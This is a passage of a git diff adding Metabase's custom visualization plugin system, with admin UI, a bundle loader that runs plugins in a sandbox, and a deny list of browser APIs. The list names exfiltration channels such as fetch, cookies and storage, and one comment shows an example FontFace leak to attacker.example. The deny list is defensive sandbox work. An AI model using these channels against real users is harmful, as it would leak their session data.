+} from "metabase-enterprise/api";
+import type { CustomVizPlugin } from "metabase-types/api";
+
+import { CustomVizIcon } from "./CustomVizIcon";
+
+type Props = {
+ plugin: CustomVizPlugin;
+};
+
+type FormState = {
+ devBundleUrl: string;
+};
+
+export function EditDevCustomVizForm({ plugin }: Props) {
+ const [setDevUrl] = useSetCustomVizPluginDevUrlMutation();
+ const [deletePlugin] = useDeleteCustomVizPluginMutation();
+
+ const initialValues = useMemo<FormState>(
+ () => ({
+ devBundleUrl: plugin.dev_bundle_url ?? "",
+ }),
+ [plugin.dev_bundle_url],
+ );
+
+ const handleSubmit = useCallback(
+ (values: FormState) =>
+ setDevUrl({
+ id: plugin.id,
+ dev_bundle_url: values.devBundleUrl || null,
+ }).unwrap(),
+ [plugin.id, setDevUrl],
+ );
+
+ const handleRemove = useCallback(
+ () => deletePlugin(plugin.id).unwrap(),
+ [plugin.id, deletePlugin],
+ );
+
+ return (
+ <SettingsSection>
+ <FormProvider
+ enableReinitialize
+ initialValues={initialValues}
+ onSubmit={handleSubmit}
+ >
+ {({ dirty }) => (
+ <Form>
+ <Stack gap="lg">
+ <Group align="center">
+ <CustomVizIcon plugin={plugin} />
+
+ <Group align="center" flex="1" justify="space-between">
+ <Text fw={700} fz="lg">
+ {plugin.display_name}
+ </Text>
+
+ {match(plugin.status)
+ .with("active", () => (
+ <Group align="center" flex="0 0 auto" gap="xs">
+ <Icon c="success" name="check" />
+ <Text c="success" fw={700}>{t`Enabled`}</Text>
+ </Group>
+ ))
+ .with("error", () => (
+ <Text c="error" fw={700}>{t`Error`}</Text>
+ ))
+ .with("pending", () => (
+ <Text
+ c="text-secondary"
+ fw={plugin.enabled ? 700 : undefined}
+ >
+ {t`Pending`}
+ </Text>
+ ))
+ .exhaustive()}
+ </Group>
+ </Group>
+ <FormTextInput
+ name="devBundleUrl"
+ label={t`Dev server URL`}
+ placeholder="http://localhost:5174"
+ />
+ <FormErrorMessage />
+ <Group justify="flex-end">
+ <Button variant="subtle" color="error" onClick={handleRemove}>
+ {t`Disable`}
+ </Button>
+ <FormSubmitButton
+ label={t`Update`}
+ disabled={!dirty}
+ variant="filled"
+ />
+ </Group>
+ </Stack>
+ </Form>
+ )}
+ </FormProvider>
+ </SettingsSection>
+ );
+}
diff --git a/enterprise/frontend/src/metabase-enterprise/custom_viz/components/ManageCustomVizPage.module.css b/enterprise/frontend/src/metabase-enterprise/custom_viz/components/ManageCustomVizPage.module.css
new file mode 100644
index 00000000000..12d069c059e
--- /dev/null
+++ b/enterprise/frontend/src/metabase-enterprise/custom_viz/components/ManageCustomVizPage.module.css
@@ -0,0 +1,3 @@
+.pluginList > *:not(:last-child) {
+ border-bottom: 1px solid var(--mb-color-border);
+}
diff --git a/enterprise/frontend/src/metabase-enterprise/custom_viz/components/ManageCustomVizPage.tsx b/enterprise/frontend/src/metabase-enterprise/custom_viz/components/ManageCustomVizPage.tsx
new file mode 100644
index 00000000000..505c56259bc
--- /dev/null
+++ b/enterprise/frontend/src/metabase-enterprise/custom_viz/components/ManageCustomVizPage.tsx
@@ -0,0 +1,154 @@
+import { useCallback, useMemo } from "react";
+import { t } from "ttag";
+
+import { SettingsPageWrapper } from "metabase/admin/components/SettingsSection";
+import { useAdminSetting } from "metabase/api/utils";
+import { Link } from "metabase/common/components/Link";
+import { useHasTokenFeature } from "metabase/common/hooks";
+import {
+ ActionIcon,
+ Box,
+ Button,
+ Flex,
+ Group,
+ Icon,
+ Loader,
+ Menu,
+ Stack,
+ Text,
+ Title,
+} from "metabase/ui";
+import * as Urls from "metabase/urls";
+import {
+ useDeleteCustomVizPluginMutation,
+ useListAllCustomVizPluginsQuery,
+} from "metabase-enterprise/api";
+import type { CustomVizPluginId } from "metabase-types/api";
+
+import { trackCustomVizPluginDeleted } from "../analytics";
+
+import { CustomVizListItem } from "./CustomVizListItem";
+import S from "./ManageCustomVizPage.module.css";
+
+const CUSTOM_VIZ_ENABLED_SETTING = "custom-viz-enabled";
+
+export function ManageCustomVizPage() {
+ const { value: isCustomVizEnabled, updateSetting } = useAdminSetting(
+ CUSTOM_VIZ_ENABLED_SETTING,
+ );
+ const hasCustomVizFeature = useHasTokenFeature("custom-viz");
+ const showCustomVizSettings = isCustomVizEnabled && hasCustomVizFeature;
+ const { data: plugins, isLoading } = useListAllCustomVizPluginsQuery();
+ const [deletePlugin] = useDeleteCustomVizPluginMutation();
+
+ const repoPlugins = useMemo(
+ () => plugins?.filter((p) => !p.dev_only),
+ [plugins],
+ );
+
+ const handleDeactivate = useCallback(async () => {
+ await updateSetting({
+ key: CUSTOM_VIZ_ENABLED_SETTING,
+ value: false,
+ toast: false,
+ });
+ window.location.reload();
+ }, [updateSetting]);
+
+ const handleDelete = useCallback(
+ async (id: CustomVizPluginId) => {
+ await deletePlugin(id).unwrap();
+ trackCustomVizPluginDeleted();
+ },
+ [deletePlugin],
+ );
+
+ if (!showCustomVizSettings) {
+ return null;
+ }
+
+ return (
+ <SettingsPageWrapper>
+ <Stack gap="0">
+ <Flex justify="space-between">
+ <Title order={1} style={{ height: "2.5rem" }}>
+ {t`Custom visualizations`}
+ </Title>
+ <Group gap="xs">
+ <Button
+ component={Link}
+ to={Urls.customVizAdd()}
+ leftSection={<Icon name="add" />}
+ variant="filled"
+ >
+ {t`Add`}
+ </Button>
+ <Menu position="bottom-end">
+ <Menu.Target>
+ <ActionIcon
+ variant="subtle"
+ size="lg"
+ aria-label={t`More options`}
+ >
+ <Icon name="ellipsis" />
+ </ActionIcon>
+ </Menu.Target>
+ <Menu.Dropdown>
+ <Menu.Item
+ onClick={handleDeactivate}
+ leftSection={<Icon name="pause" />}
+ >
+ {t`Deactivate custom visualizations`}
+ </Menu.Item>
+ </Menu.Dropdown>
+ </Menu>
+ </Group>
+ </Flex>
+
+ <Text c="text-secondary" maw="40rem">
+ {t`Add custom visualizations to your instance by uploading packaged plugin bundles (.tgz).`}
+ </Text>
+ </Stack>
+
+ {isLoading && (
+ <Flex justify="center" p="xl">
+ <Loader />
+ </Flex>
+ )}
+
+ {repoPlugins && repoPlugins.length === 0 && !isLoading && (
+ <Group
+ align="center"
+ bd="1px solid var(--mb-color-border)"
+ bdrs="md"
+ bg="background-primary"
+ justify="center"
+ mih="15rem"
+ p="xl"
+ >
+ <Text c="text-tertiary">{t`You don't have any custom visualizations.`}</Text>
+ </Group>
+ )}
+
+ {repoPlugins && repoPlugins.length > 0 && (
+ <Box
+ bd="1px solid var(--mb-color-border)"
+ bdrs="md"
+ bg="background-primary"
+ className={S.pluginList}
+ style={{
+ overflow: "hidden",
+ }}
+ >
+ {repoPlugins.map((plugin) => (
+ <CustomVizListItem
+ key={plugin.id}
+ plugin={plugin}
+ onDelete={handleDelete}
+ />
+ ))}
+ </Box>
+ )}
+ </SettingsPageWrapper>
+ );
+}
diff --git a/enterprise/frontend/src/metabase-enterprise/custom_viz/custom-viz-common.ts b/enterprise/frontend/src/metabase-enterprise/custom_viz/custom-viz-common.ts
new file mode 100644
index 00000000000..5c02b950f90
--- /dev/null
+++ b/enterprise/frontend/src/metabase-enterprise/custom_viz/custom-viz-common.ts
@@ -0,0 +1,30 @@
+import type { CustomVisualization } from "custom-viz";
+
+import type { Visualization } from "metabase/visualizations/types/visualization";
+
+/**
+ * Assign properties derived from a vizDef onto a Visualization component
+ * and merge in caller-specific overrides.
+ */
+export function applyDefaultVisualizationProps(
+ Component: Visualization,
+ vizDef: CustomVisualization<Record<string, unknown>>,
+ settings: {
+ identifier: string;
+ getUiName: () => string;
+ iconUrl?: string | undefined;
+ isDev?: boolean;
+ },
+) {
+ Object.assign(Component, {
+ settings: vizDef.settings ?? {},
+ checkRenderable: vizDef.checkRenderable,
+ noHeader: vizDef.noHeader ?? false,
+ canSavePng: vizDef.canSavePng ?? false,
+ hidden: false,
+ minSize: vizDef.minSize,
+ defaultSize: vizDef.defaultSize,
+ isDev: settings.isDev,
+ ...settings,
+ } satisfies Partial<Record<keyof Visualization, unknown>>);
+}
diff --git a/enterprise/frontend/src/metabase-enterprise/custom_viz/custom-viz-globals.ts b/enterprise/frontend/src/metabase-enterprise/custom_viz/custom-viz-globals.ts
new file mode 100644
index 00000000000..5a734470552
--- /dev/null
+++ b/enterprise/frontend/src/metabase-enterprise/custom_viz/custom-viz-globals.ts
@@ -0,0 +1,35 @@
+import type { ColumnTypes, CreateCustomVisualization } from "custom-viz";
+
+import {
+ measureText,
+ measureTextHeight,
+ measureTextWidth,
+} from "metabase/utils/measure-text";
+import { formatValue } from "metabase/visualizations/custom-visualizations/custom-viz-utils";
+import { customVizColumnTypes } from "metabase-lib/v1/types/utils/custom-viz-column-types";
+
+declare global {
+ interface Window {
+ __METABASE_VIZ_API__?: {
+ columnTypes: ColumnTypes;
+ formatValue: typeof formatValue;
+ measureText: typeof measureText;
+ measureTextWidth: typeof measureTextWidth;
+ measureTextHeight: typeof measureTextHeight;
+ };
+ __customVizPlugin__?: CreateCustomVisualization<Record<string, unknown>>;
+ }
+}
+
+export function ensureVizApi() {
+ window.__METABASE_VIZ_API__ = {
+ ...window.__METABASE_VIZ_API__,
+ columnTypes: customVizColumnTypes,
+ formatValue,
+ measureText,
+ measureTextWidth,
+ measureTextHeight,
+ };
+}
+
+export {};
diff --git a/enterprise/frontend/src/metabase-enterprise/custom_viz/custom-viz-plugins.tsx b/enterprise/frontend/src/metabase-enterprise/custom_viz/custom-viz-plugins.tsx
new file mode 100644
index 00000000000..b0b377f40ef
--- /dev/null
+++ b/enterprise/frontend/src/metabase-enterprise/custom_viz/custom-viz-plugins.tsx
@@ -0,0 +1,498 @@
+import type {
+ CreateCustomVisualizationProps,
+ CustomVisualization,
+ CustomVisualizationMountHandle,
+ CustomVisualizationProps,
+ CustomVisualizationSettingDefinition,
+ ClickObject as CustomVizClickObject,
+ HoverObject as CustomVizHoverObject,
+ Widgets,
+} from "custom-viz";
+import { useCallback, useEffect, useRef, useState } from "react";
+import { useUnmount } from "react-use";
+import { t } from "ttag";
+
+import { ExplicitSize } from "metabase/common/components/ExplicitSize";
+import { useToast } from "metabase/common/hooks";
+import type { IconData } from "metabase/common/utils/icon";
+import { useEmbeddingEntityContext } from "metabase/embedding/context";
+import { useColorScheme } from "metabase/ui";
+import { getSubpathSafeUrl } from "metabase/urls";
+import visualizations, { registerVisualization } from "metabase/visualizations";
+import {
+ getCustomPluginIdentifier,
+ getPluginAssetUrl,
+} from "metabase/visualizations/custom-visualizations/custom-viz-utils";
+import type {
+ Visualization,
+ VisualizationProps,
+} from "metabase/visualizations/types/visualization";
+import { useListCustomVizPluginsQuery } from "metabase-enterprise/api";
+import type {
+ CustomVizPluginId,
+ CustomVizPluginRuntime,
+ VisualizationDisplay,
+} from "metabase-types/api";
+import { isObject } from "metabase-types/guards";
+import { isCustomVizDisplay } from "metabase-types/guards/visualization";
+
+import { trackCustomVizSelected } from "./analytics";
+import { applyDefaultVisualizationProps } from "./custom-viz-common";
+import { ensureVizApi } from "./custom-viz-globals";
+
+// Track which plugins have already been loaded to avoid re-execution.
+// Maps plugin id → { identifier, hash } so we can detect when a re-uploaded
+// bundle (or a dev server reload) produced new bytes.
+const loadedPlugins = new Map<
+ number,
+ { identifier: string; hash: string | null }
+>();
+
+const failedPluginHashes = new Map<
+ CustomVizPluginId,
+ CustomVizPluginRuntime["bundle_hash"]
+>();
+
+/**
+ * Hook that fetches the list of active custom visualization plugins.
+ */
+export function useCustomVizPlugins({
+ enabled = true,
+}: { enabled?: boolean } = {}) {
+ const { token, uuid } = useEmbeddingEntityContext();
+ const isPublicOrStaticEmbed = Boolean(token || uuid);
+ const shouldLoad = enabled && !isPublicOrStaticEmbed;
+ const { data: plugins, isLoading } = useListCustomVizPluginsQuery(undefined, {
+ skip: !shouldLoad,
+ });
+
+ return { plugins, isLoading, disabled: isPublicOrStaticEmbed };
+}
+
+/**
+ * Dev mode: listen for Server-Sent Events proxied through the Metabase backend.
+ * The SSE proxy endpoint is at /api/ee/custom-viz-plugin/:id/dev-sse, which
+ * forwards events from the dev server's /__sse endpoint. This avoids the need
+ * for a CSP exception for the dev server origin.
+ */
+function useCustomVizDevReload(
+ display: string | undefined,
+ plugins: CustomVizPluginRuntime[] | undefined,
+ setLoading: (loading: boolean) => void,
+ onInfo: (message: string) => void,
+) {
+ useEffect(() => {
+ if (!isCustomVizDisplay(display) || !plugins) {
+ return;
+ }
+
+ const identifier = display.slice("custom:".length);
+ const plugin = plugins.find((p) => p.identifier === identifier);
+ if (!plugin?.dev_bundle_url) {
+ return;
+ }
+
+ const sseUrl = getSubpathSafeUrl(
+ `/api/ee/custom-viz-plugin/${plugin.id}/dev-sse`,
+ );
+
+ const eventSource = new EventSource(sseUrl);
+
+ eventSource.addEventListener("message", async () => {
+ // eslint-disable-next-line no-console
+ console.log(
+ `[custom-viz] Dev server rebuilt "${plugin.display_name}", reloading…`,
+ );
+ setLoading(true);
+ try {
+ await loadCustomVizPlugin(plugin, `?t=${Date.now()}`, onInfo);
+ } finally {
+ setLoading(false);
+ }
+ });
+
+ eventSource.addEventListener("error", () => {
+ // SSE auto-reconnects; nothing to do
+ });
+
+ return () => {
+ eventSource.close();
+ };
+ }, [display, onInfo, plugins, setLoading]);
+}
+
+/**
+ * Hook that auto-loads a custom viz plugin bundle when the current display
+ * type starts with "custom:". Returns `true` while loading so the caller
+ * can show a spinner instead of rendering the (not-yet-registered) viz.
+ *
+ * For plugins with `dev_bundle_url` set, polls the bundle endpoint via HEAD
+ * every 2s and reloads when the ETag changes.
+ */
+export function useAutoLoadCustomVizPlugin(display: string | undefined): {
+ loading: boolean;
+} {
+ const { plugins, disabled } = useCustomVizPlugins();
+ const [sendToast] = useToast();
+ const [loading, setLoading] = useState(false);
+ const loadingRef = useRef<string | null>(null);
+
+ const onInfo = useCallback(
+ (message: string) => {
+ sendToast({ message });
+ },
+ [sendToast],
+ );
+
+ const load = useCallback(
+ async (pluginToLoad: CustomVizPluginRuntime) => {
+ const identifier = getCustomPluginIdentifier(pluginToLoad);
+ if (loadingRef.current === identifier) {
+ return;
+ }
+ const existing = loadedPlugins.get(pluginToLoad.id);
+ if (
+ existing &&
+ existing.hash === (pluginToLoad.bundle_hash ?? null) &&
+ !pluginToLoad.dev_bundle_url
+ ) {
+ return;
+ }
+ loadingRef.current = identifier;
+ setLoading(true);
+ try {
+ await loadCustomVizPlugin(pluginToLoad, undefined, onInfo);
+ } finally {
+ loadingRef.current = null;
+ setLoading(false);
+ }
+ },
+ [onInfo],
+ );
+
+ useEffect(() => {
+ if (!isCustomVizDisplay(display) || !plugins) {
+ return;
+ }
+
+ const identifier = display.slice("custom:".length);
+ const plugin = plugins.find((p) => p.identifier === identifier);
+ if (!plugin) {
+ return;
+ }
+ trackCustomVizSelected();
+ load(plugin);
+ }, [display, plugins, load]);
+
+ useCustomVizDevReload(display, plugins, setLoading, onInfo);
+
+ // `loading` state drives re-renders when async load completes.
+ // Without it, the Map-based check alone wouldn't trigger a re-render.
+ if (loading) {
+ return { loading: true };
+ }
+
+ const needsCustomViz = isCustomVizDisplay(display);
+
+ /**
+ * Short-circuit if custom-viz plugins are disabled (e.g., public or embedded questions/dashboards).
+ */
+ if (disabled) {
+ return { loading: false };
+ }
+
+ // Plugin list loaded but no matching plugin found — the custom viz was
+ // disabled or removed. Drop the cached registration so questions using this
+ // display fall back to the default visualization on subsequent
+ // renders, even within the same SPA session.
+ if (
+ needsCustomViz &&
+ plugins &&
+ !plugins.find((p) => `custom:${p.identifier}` === display)
+ ) {
+ if (visualizations.has(display)) {
+ visualizations.delete(display);
+ for (const [id, entry] of loadedPlugins) {
+ if (entry.identifier === display) {
+ loadedPlugins.delete(id);
+ failedPluginHashes.delete(id);
+ }
+ }
+ }
+ return { loading: false };
+ }
+
+ const matchedPlugin = needsCustomViz
+ ? plugins?.find((p) => getCustomPluginIdentifier(p) === display)
+ : undefined;
+
+ // A plugin is "ready" when we've either loaded its bundle or recorded a
+ // failure for the current bundle hash. Failed plugins resolve to
+ // loading: false so the visualization registry falls back to the default
+ // instead of spinning forever.
+ const isReady = (() => {
+ if (!matchedPlugin) {
+ return false;
+ }
+ const loadedHash = loadedPlugins.get(matchedPlugin.id)?.hash;
+ const failedHash = failedPluginHashes.get(matchedPlugin.id);
+ if (loadedHash === undefined && failedHash === undefined) {
+ return false;
+ }
+ const currentHash = matchedPlugin.bundle_hash ?? null;
+ return currentHash === loadedHash || currentHash === failedHash;
+ })();
+
+ return { loading: needsCustomViz && !isReady };
+}
+
+/**
+ * Dynamically load a custom viz plugin bundle, call its factory,
+ * decompose the returned definition, and register it as a Metabase
+ * visualization. Returns the registered identifier (CardDisplayType).
+ */
+export async function loadCustomVizPlugin(
+ plugin: CustomVizPluginRuntime,
+ cacheBustSuffix?: string,
+ onInfo?: (message: string) => void,
+): Promise<string | null> {
+ const existing = loadedPlugins.get(plugin.id);
+ const currentHash = plugin.bundle_hash ?? null;
+ if (
+ existing &&
+ existing.hash === currentHash &&
+ !plugin.dev_bundle_url &&
+ !cacheBustSuffix
+ ) {
+ return existing.identifier;
+ }
+
+ ensureVizApi();
+
+ try {
+ const bundleUrl = new URL(
+ getSubpathSafeUrl(plugin.bundle_url),
+ window.location.origin,
+ );
+ if (cacheBustSuffix) {
+ bundleUrl.searchParams.set("t", Date.now().toString());
+ } else if (currentHash) {
+ bundleUrl.searchParams.set("v", currentHash);
+ }
+ const res = await fetch(bundleUrl.href, { cache: "no-store" });
+ if (!res.ok) {
+ throw new Error(`HTTP ${res.status}`);
+ }
+
+ const text = await res.text();
+
+ // Lazy-load the sandbox so its top-level references to browser globals
+ // (Document/Window/Navigator/etc. in sandbox/distortions-*.ts) don't end
+ // up in the static-viz bundle, which is evaluated by GraalVM and has no
+ // DOM constructors.
+ const { createPluginSandbox } = await import("./sandbox");
+ const sandbox = createPluginSandbox(plugin.id);
+ const factory = sandbox.evaluate(text);
+
+ if (typeof factory !== "function") {
+ throw new Error(
+ t`Plugin bundle must have a default export that is a factory function`,
+ );
+ }
+
+ const cacheBust = cacheBustSuffix ? `&t=${Date.now()}` : "";
+
+ const props: CreateCustomVisualizationProps<Record<string, unknown>> = {
+ defineSetting(definition) {
+ return definition as unknown as CustomVisualizationSettingDefinition<
+ Record<string, unknown>
+ >;
+ },
+ getAssetUrl(path: string) {
+ return `${getPluginAssetUrl(plugin.id, path) ?? ""}${cacheBust}`;
+ },
+ locale:
+ window.MetabaseUserLocalization?.headers?.language ??
+ window.MetabaseSiteLocalization?.headers?.language ??
+ "en",
+ };
+
+ const vizDef = factory(props);
+
+ if (!isValidVizDefinition(vizDef)) {
+ throw new Error(
+ t`Plugin factory must return an object with a mount function`,
+ );
+ }
+
+ assertValidSettingWidgets(vizDef.settings);
+
+ // Build a Metabase-compatible identifier, prefixed to avoid collisions
+ const identifier = getCustomPluginIdentifier(plugin);
+
+ const Wrapper = createCustomVizWrapper(vizDef.mount, plugin.id);
+
+ // Attach the required static properties onto the component function
+ const Component = ExplicitSize<VisualizationProps>({ wrapped: true })(
+ Wrapper,
+ ) as Visualization;
+ applyDefaultVisualizationProps(Component, vizDef, {
+ identifier,
+ getUiName: () => plugin.display_name,
+ iconUrl: getPluginAssetUrl(plugin.id, plugin.icon),
+ isDev: Boolean(plugin.dev_bundle_url),
+ });
+
+ // Use registerVisualization for first load; overwrite directly for updates
+ // (registerVisualization throws on duplicate identifiers).
+ // Check visualizations map directly (not loadedPlugins) because HMR may
+ // reset loadedPlugins while the visualizations map retains registrations.
+ if (visualizations.has(identifier)) {
+ visualizations.set(identifier, Component);
+ } else {
+ registerVisualization(Component);
+ }
+ loadedPlugins.set(plugin.id, {
+ identifier,
+ hash: currentHash,
+ });
+ failedPluginHashes.delete(plugin.id);
+
+ return identifier;
+ } catch (error) {
+ console.error(t`Failed to load plugin "${plugin.display_name}":`, error);
+ if (!failedPluginHashes.has(plugin.id)) {
+ onInfo?.(
+ t`The "${plugin.display_name}" visualization is currently unavailable.`,
+ );
+ }
+ failedPluginHashes.set(plugin.id, currentHash);
+ return null;
+ }
+}
+
+export const useCustomVizPluginsIcon = () => {
+ const { plugins, isLoading } = useCustomVizPlugins();
+
+ return useCallback(
+ (
+ display: VisualizationDisplay,
+ ): { icon: IconData | undefined; isLoading: boolean } => {
+ if (isLoading) {
+ return { icon: undefined, isLoading: true };
+ }
+ const currentPlugin = plugins?.find(
+ (plugin) => getCustomPluginIdentifier(plugin) === display,
+ );
+ const icon: IconData | undefined = currentPlugin
+ ? {
+ name: "unknown",
+ iconUrl: getPluginAssetUrl(currentPlugin.id, currentPlugin.icon),
+ }
+ : undefined;
+
+ return { icon, isLoading: false };
+ },
+ [plugins, isLoading],
+ );
+};
+
+type GenericVizDefinition = CustomVisualization<Record<string, unknown>>;
+type GenericVizMount = GenericVizDefinition["mount"];
+type GenericVizPluginProps = CustomVisualizationProps<Record<string, unknown>>;
+type GenericVizMountHandle =
+ CustomVisualizationMountHandle<GenericVizPluginProps>;
+
+function isValidVizDefinition(value: unknown): value is GenericVizDefinition {
+ return isObject(value) && typeof value.mount === "function";
+}
+
+const ALLOWED_WIDGET_NAMES: Array<keyof Widgets> = [
+ "input",
+ "number",
+ "radio",
+ "select",
+ "toggle",
+ "segmentedControl",
+ "field",
+ "fields",
+ "color",
+ "multiselect",
+] as const;
+
+function assertValidSettingWidgets(
+ settings: GenericVizDefinition["settings"] | undefined,
+): void {
+ if (!settings) {
+ return;
+ }
+ for (const [settingId, def] of Object.entries(settings)) {
+ const widget = (def as { widget?: unknown }).widget;
+ if (
+ typeof widget !== "string" ||
+ !ALLOWED_WIDGET_NAMES.some((w) => w === widget)
+ ) {
+ throw new Error(
+ t`Setting "${settingId}" has unsupported widget. Use one of: ${ALLOWED_WIDGET_NAMES.join(", ")}.`,
+ );
+ }
+ }
+}
+
+function createCustomVizWrapper(
+ mount: GenericVizMount,
+ pluginId: CustomVizPluginId,
+) {
+ return function CustomVizWrapper({
+ width,
+ height,
+ series,
+ settings,
+ onVisualizationClick,
+ onHoverChange,
+ }: VisualizationProps) {
+ const { resolvedColorScheme } = useColorScheme();
+ const containerRef = useRef<HTMLDivElement | null>(null);
+ const handleRef = useRef<GenericVizMountHandle | null>(null);
+
+ const pluginProps: GenericVizPluginProps = {
+ width,
+ height,
+ series: series as unknown as GenericVizPluginProps["series"],
+ settings: settings as unknown as GenericVizPluginProps["settings"],
+ colorScheme: resolvedColorScheme,
+ onClick: onVisualizationClick as unknown as (
+ clickObject: CustomVizClickObject<Record<string, unknown>> | null,
+ ) => void,
+ onHover: onHoverChange as unknown as (
+ hoverObject?: CustomVizHoverObject | null,
+ ) => void,
+ };
+
+ useEffect(() => {
+ if (!containerRef.current) {
+ return;
+ }
+ if (!handleRef.current) {
+ handleRef.current = mount(containerRef.current, pluginProps);
+ } else {
+ handleRef.current.update(pluginProps);
+ }
+ });
+
+ useUnmount(() => {
+ handleRef.current?.unmount();
+ handleRef.current = null;
+ });
+
+ return (
+ <div
+ ref={containerRef}
+ data-plugin-sandbox={pluginId}
+ style={{ width: "100%", height: "100%" }}
+ />
+ );
+ };
+}
+
+export { getCustomPluginIdentifier, getPluginAssetUrl };
diff --git a/enterprise/frontend/src/metabase-enterprise/custom_viz/index.ts b/enterprise/frontend/src/metabase-enterprise/custom_viz/index.ts
new file mode 100644
index 00000000000..c5a0d08af64
--- /dev/null
+++ b/enterprise/frontend/src/metabase-enterprise/custom_viz/index.ts
@@ -0,0 +1,30 @@
+import { PLUGIN_CUSTOM_VIZ } from "metabase/plugins";
+import { getPluginAssetUrl } from "metabase/visualizations/custom-visualizations/custom-viz-utils";
+import { hasPremiumFeature } from "metabase-enterprise/settings";
+import { isCustomVizDisplay } from "metabase-types/guards/visualization";
+
+import { CustomVizDevPage } from "./components/CustomVizDevPage";
+import { CustomVizPage } from "./components/CustomVizPage";
+import { ManageCustomVizPage } from "./components/ManageCustomVizPage";
+import {
+ loadCustomVizPlugin,
+ useAutoLoadCustomVizPlugin,
+ useCustomVizPlugins,
+ useCustomVizPluginsIcon,
+} from "./custom-viz-plugins";
+
+export function initializePlugin() {
+ if (hasPremiumFeature("custom-viz")) {
+ Object.assign(PLUGIN_CUSTOM_VIZ, {
+ ManageCustomVizPage,
+ CustomVizPage,
+ CustomVizDevPage,
+ useAutoLoadCustomVizPlugin,
+ useCustomVizPlugins,
+ loadCustomVizPlugin,
+ getPluginAssetUrl,
+ useCustomVizPluginsIcon,
+ isCustomVizDisplay,
+ });
+ }
+}
diff --git a/enterprise/frontend/src/metabase-enterprise/custom_viz/sandbox/distortions-blocked-apis.ts b/enterprise/frontend/src/metabase-enterprise/custom_viz/sandbox/distortions-blocked-apis.ts
new file mode 100644
index 00000000000..cc687a62552
--- /dev/null
+++ b/enterprise/frontend/src/metabase-enterprise/custom_viz/sandbox/distortions-blocked-apis.ts
@@ -0,0 +1,289 @@
+export const BLOCKED_NATIVE_REFS = new Map<object, string>();
+
+const method = (proto: object, key: string): object | undefined =>
+ Object.getOwnPropertyDescriptor(proto, key)?.value as object | undefined;
+
+const getter = (proto: object, key: string): object | undefined =>
+ Object.getOwnPropertyDescriptor(proto, key)?.get;
+
+const setter = (proto: object, key: string): object | undefined =>
+ Object.getOwnPropertyDescriptor(proto, key)?.set;
+
+const block = (ref: object | undefined, label: string) => {
+ if (ref) {
+ BLOCKED_NATIVE_REFS.set(ref, label);
+ }
+};
+
+// Some IDL mixin attributes (e.g. `cookieStore` from
+// `WindowOrWorkerGlobalScope`) end up on different prototypes across
+// browsers — sometimes on `Window.prototype`, sometimes as an own
+// property of the global. Walk the chain so the lookup is robust.
+const getterFromChain = (obj: object, key: string): object | undefined => {
+ let current: object | null = obj;
+ while (current) {
+ const desc = Object.getOwnPropertyDescriptor(current, key);
+ if (desc) {
+ return desc.get;
+ }
+ current = Object.getPrototypeOf(current);
+ }
+ return undefined;
+};
+
+// Network exfiltration
+block(window.fetch, "window.fetch");
+block(window.XMLHttpRequest, "window.XMLHttpRequest");
+block(window.WebSocket, "window.WebSocket");
+block(window.EventSource, "window.EventSource");
+block(window.Worker, "window.Worker");
+block(window.SharedWorker, "window.SharedWorker");
+block(window.RTCPeerConnection, "window.RTCPeerConnection");
+block(window.WebTransport, "WebTransport");
+block(window.BroadcastChannel, "BroadcastChannel");
+block(method(Navigator.prototype, "sendBeacon"), "Navigator.sendBeacon");
+
+// `new FontFace(family, "url(https://attacker.example/?leak=...)").load()`
+// issues a network request the same way `fetch` does. Block until CSP
+// `font-src` is tightened (GDGT-2373).
+if (window.FontFace) {
+ block(method(window.FontFace.prototype, "load"), "FontFace.load");
+}
+
+// Stylesheet exfiltration. Block both the property accessors and
+// the constructable-stylesheet entry points until CSP `font-src`/`img-src`
+// is tightened (GDGT-2373). The getter is blocked too because in modern
+// browsers `document.adoptedStyleSheets` is a directly-mutable.
+// `ObservableArray`, so blocking only the setter would be defeated by
+// `document.adoptedStyleSheets.push(sheet)`.
+block(
+ getter(Document.prototype, "adoptedStyleSheets"),
+ "Document.get adoptedStyleSheets",
+);
+block(
+ setter(Document.prototype, "adoptedStyleSheets"),
+ "Document.set adoptedStyleSheets",
+);
+block(
+ getter(ShadowRoot.prototype, "adoptedStyleSheets"),
+ "ShadowRoot.get adoptedStyleSheets",
+);
+block(
+ setter(ShadowRoot.prototype, "adoptedStyleSheets"),
+ "ShadowRoot.set adoptedStyleSheets",
+);
+block(method(CSSStyleSheet.prototype, "replace"), "CSSStyleSheet.replace");
+block(
+ method(CSSStyleSheet.prototype, "replaceSync"),
+ "CSSStyleSheet.replaceSync",
+);
+
+// Document mutation / navigation
+block(method(Document.prototype, "write"), "Document.write");
+block(method(Document.prototype, "writeln"), "Document.writeln");
+block(method(Document.prototype, "open"), "Document.open");
+block(method(Document.prototype, "close"), "Document.close");
+block(method(Document.prototype, "execCommand"), "Document.execCommand");
+block(setter(Document.prototype, "designMode"), "Document.set designMode");
+block(
+ setter(HTMLElement.prototype, "contentEditable"),
+ "HTMLElement.set contentEditable",
+);
+
+// Cookie / domain
+block(getter(Document.prototype, "cookie"), "Document.get cookie");
+block(setter(Document.prototype, "cookie"), "Document.set cookie");
+block(setter(Document.prototype, "domain"), "Document.set domain");
+block(getterFromChain(window, "cookieStore"), "Window.get cookieStore");
+if (window.CookieStore) {
+ block(method(window.CookieStore.prototype, "get"), "CookieStore.get");
+ block(method(window.CookieStore.prototype, "getAll"), "CookieStore.getAll");
+ block(method(window.CookieStore.prototype, "set"), "CookieStore.set");
+ block(method(window.CookieStore.prototype, "delete"), "CookieStore.delete");
+}
+
+// Referrer — URL of the page that linked here, which can leak internal
+// admin URLs or embed-link query params. Unlike `location.href`, the plugin
+// has no other way to read this.
+block(getter(Document.prototype, "referrer"), "Document.get referrer");
+
+// Host URL — `document.URL` / `documentURI` / `baseURI` resolve through the
+// membrane to the *host* Document, so unlike the iframe-local
+// `location.href`, these leak the page the user is actually on (dashboard
+// IDs, embed tokens in query params, etc.).
+block(getter(Document.prototype, "URL"), "Document.get URL");
+block(getter(Document.prototype, "documentURI"), "Document.get documentURI");
+block(getter(Node.prototype, "baseURI"), "Node.get baseURI");
+
+// Storage exfiltration
+block(getter(Window.prototype, "localStorage"), "Window.get localStorage");
+block(getter(Window.prototype, "sessionStorage"), "Window.get sessionStorage");
+block(getter(Window.prototype, "indexedDB"), "Window.get indexedDB");
+block(getter(Window.prototype, "caches"), "Window.get caches");
+
+block(getter(StorageEvent.prototype, "key"), "StorageEvent.get key");
+block(getter(StorageEvent.prototype, "oldValue"), "StorageEvent.get oldValue");
+block(getter(StorageEvent.prototype, "newValue"), "StorageEvent.get newValue");
+block(getter(StorageEvent.prototype, "url"), "StorageEvent.get url");
+block(
